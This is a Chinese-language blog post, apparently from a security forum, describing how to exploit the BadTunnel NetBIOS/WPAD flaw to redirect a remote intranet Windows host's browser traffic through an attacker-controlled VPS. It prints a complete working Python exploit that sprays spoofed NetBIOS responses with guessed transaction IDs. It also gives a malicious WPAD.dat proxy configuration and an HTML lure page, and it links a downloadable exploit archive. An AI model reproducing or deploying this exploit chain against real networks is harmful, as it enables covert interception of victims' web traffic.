BadTunnel利用之远程劫持任意内网主机流量

最近貌似这个漏洞挺火的 作为一个安全从业者我们先还是把重心放在漏洞本身吧 客观来讲 这个漏洞确实挺严重的 因为影响的范围很广 
大部分的争论都是集中在WPAD协议的利用姿势方面 而忽略的最核心的点 'Tunnel'顾名思义即隧道 而这个漏洞的精髓就是靠的这个Tunnel 使得劫持任意网段主机流量成为可能 关于漏洞的起因我就不多说了 drop里的文章已经说的很详细了 

下面模拟下真实的远程内网劫持攻击: 
测试环境:本地一台内网windows主机 + 远程一台阿里云VPS 

测试目标:本地用浏览器打开构造好的网页后  完成将本地网络流量劫持到远程的VPS主机上 

说下具体的攻击步骤: 
0x1 本地主机 
本地不要做任何设置 只要保证IE浏览器的自动检测代理为默认开启就行 
看下本地的环境吧 

主机通过无线路由上网 处于内网之中 
1.png
NetBois  缓存也已清空 
2.png
0x2 远程主机 

VPS上也不用做其他设置 只要准备两个文件就行了 

第一个文件当然是 利用代码 我已经写好了 内容如下: 
__author__ = 'T3rry' 

# Poison a system's NetBIOS resolver for the WPAD name from outside NAT 
# Usage: python badtunnel.py wpad_server_ip 


from socket import *   
import sys 
import binascii 
import time 

HOST = '0.0.0.0'   
PORT = 137   
BUFSIZE = 1024   
ADDR = (HOST,PORT) 
TRANSACTION_ID_BLOCK=100 

NB_RESPONSE_PACKET=''' 
    FFFF 
    8500 
    0000000100000000 
    20464846414542454543414341434143414341434143414341434143414341414100 
    0020 
    0001 
    00FFFFFF 
    0006 
    0000 
    FFFFFFFF 
    '''   

PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ',''))) 

def usage(): 
  print ("usage: python badtunnel.py wpad_server_ip") 
   
def parse_nbns(data): 
  transaction_id=data[:2] 
  print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1])) 
  type= data[-4:-2] 
  if type=='\x00\x20': 
    print ("Type is: NB Query") 
  elif type=='\x00\x21': 
    print ("Type is: NBStat Query") 
    return transaction_id 
     
def convert_ipv4_address(ip): 
    ip_addr = ip 
    packed_ip_addr = inet_aton(ip_addr) 
    unpacked_ip_addr = inet_ntoa(packed_ip_addr) 
    return binascii.hexlify(packed_ip_addr)   
   
if __name__ == "__main__":   
  wpad_server_ip='' 
  if(len(sys.argv) < 2 ): 
    usage() 
    exit() 
  else: 
    wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1]))   
  badTunnel = socket(AF_INET, SOCK_DGRAM)   
  badTunnel.bind(ADDR)   
   
  while(True): 
    transaction_id=0 
    print ('Waiting for message...') 
    data, addr = badTunnel.recvfrom(BUFSIZE) 
    print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1])) 
    transaction_id=parse_nbns(data) 
    if(transaction_id>0): 
      index=binascii.b2a_hex(transaction_id) 
      print ("Start sending payload data...") 
      for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK): 
        data=list(PAYLOAD) 
        id=binascii.a2b_hex(hex(i)[2:]) 
        data[0] =id[0] 
        data[1] =id[1] 
        data[58]=wpad_server_ip[0] 
        data[59]=wpad_server_ip[1] 
        data[60]=wpad_server_ip[2] 
        data[61]=wpad_server_ip[3] 
        payload=''.join(data) 
        badTunnel.sendto(payload,addr) 
        time.sleep(0.02) 
      print ("Send payload data finished ") 
  badTunnel.close()

第二个文件就是 WPAD.dat 文件 内容大概如下: 
function FindProxyForURL(url, host) { 
      // URLs within this network are accessed directly 
      if (isInNet(host, "127.0.0.1", "255.255.255.0")) 
      { 
         return "DIRECT"; 
      } 
      return "PROXY x.x.x.x:8080; DIRECT"; 
   }

其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下 

对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆 

然后 分别运行攻击脚本和代理脚本 

0x3 流量劫持 

所有的准备工作已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧 
<html> 

<img src="\\x.x.x.x\BadTunnel"> 


<img src="http://WPAD/wpad.dat"> 

</html>

其中x.x.x.x 为VPS的公网IP 

浏览器本地打开网页 
8.png


接下来我们看看VPS上的反应 

我们看到攻击脚本检测到了请求 并发送了伪造的数据包 
77.png 

同时发现Web日志里有了WPAD.dat 文件的下载记录 
9.png 

有兴趣的同学可以自己用WireShark抓包看看数据包的交互过程 

我们先本地查下看Netbois缓存记录 

发现NetBois的缓存已经被成功写入 
14.png 
到了这里说明攻击已经成功了  我们打开浏览器验证下 

查下IP 发现显示为VPS的地址 
13.png 

再到vps看下 发现刚才的浏览器的访问请求已经被记录了下来 

10.png 


上面就是完整的利用过程 有什么问题可以一起探讨 涉及到的代码:

BadTunnel_exp-master.zip


参考:http://zone.wooyun.org/content/27957

评论回复